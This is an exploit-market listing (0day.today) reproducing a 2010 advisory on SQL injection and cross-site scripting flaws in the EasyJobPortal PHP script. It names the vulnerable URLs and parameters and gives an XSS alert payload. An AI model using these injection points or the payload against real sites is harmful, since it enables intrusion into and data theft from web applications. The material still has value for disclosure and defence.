[ authorization ] [ registration ] [ restore account ]
Contact us
You can contact us by:
0day Today Exploits Market and 0day Exploits Database

EasyJobPortal Xss / Sql Injection Vulnerability

Author
Sid3^effects
Risk
[
Security Risk Unsored
]
0day-ID
0day-ID-12578
Category
web applications
Date add
07-06-2010
Platform
php
===============================================
EasyJobPortal Xss / Sql Injection Vulnerability
===============================================


1-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=0
0     _                   __           __       __                     1
1   /' \            __  /'__`\        /\ \__  /'__`\                   0
0  /\_, \    ___   /\_\/\_\ \ \    ___\ \ ,_\/\ \/\ \  _ ___           1
1  \/_/\ \ /' _ `\ \/\ \/_/_\_<_  /'___\ \ \/\ \ \ \ \/\`'__\          0
0     \ \ \/\ \/\ \ \ \ \/\ \ \ \/\ \__/\ \ \_\ \ \_\ \ \ \/           1
1      \ \_\ \_\ \_\_\ \ \ \____/\ \____\\ \__\\ \____/\ \_\           0
0       \/_/\/_/\/_/\ \_\ \/___/  \/____/ \/__/ \/___/  \/_/           1
1                  \ \____/ >> Exploit database separated by exploit   0
0                   \/___/          type (local, remote, DoS, etc.)    1
1                                                                      1
0  [+] Site            : Inj3ct0r.com                                  0
1  [+] Support e-mail  : submit[at]inj3ct0r.com                        1
0                                                                      0
1               ##########################################             1
0               I'm Sid3^effects member from Inj3ct0r Team             1
1               ##########################################             0
0-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-==-=-=-1

Name : EasyJobPortal SQLi and XSS vulnerability
Date : june, 7 2010
Author : Sid3^effects <shell_c99[at]yahoo.com>
vendor url : http://www.easyjobportal.com/
special thanks to : r0073r (inj3ct0r.com),*L0rd гrusAdЙr*,MaYur,LiquidWorm,gunslinger_
greetz to : Ked@r,dec0d3r,41.w4r10r and all ICW members.

###############################################################################################################
Description:

EasyJobPortal  provides you with all features you need to setup your own job portal ecommerce website on your own domain name. Our support team will install the script on your server and then you can start earning revenues easily.

##############################################################################################################

Xploit : sqli Vulnerability

demo url:http://www.easyjobportal.com/demo/site_company_list.php?company=10002&current_item=[Sqli]&current_page=1
##############################################################################################################

Xploit : XSS Vulnerability

 Parameter Name: search
 Parameter Type: Querystring
 Attack Pattern: '"--><script>alert(0x000872)</script>

demo url:http://www.easyjobportal.com/demo/site_search.php?sfunction=[XSS]

##############################################################################################################
#Sid3^effects



#  0day.today [2024-12-25]  #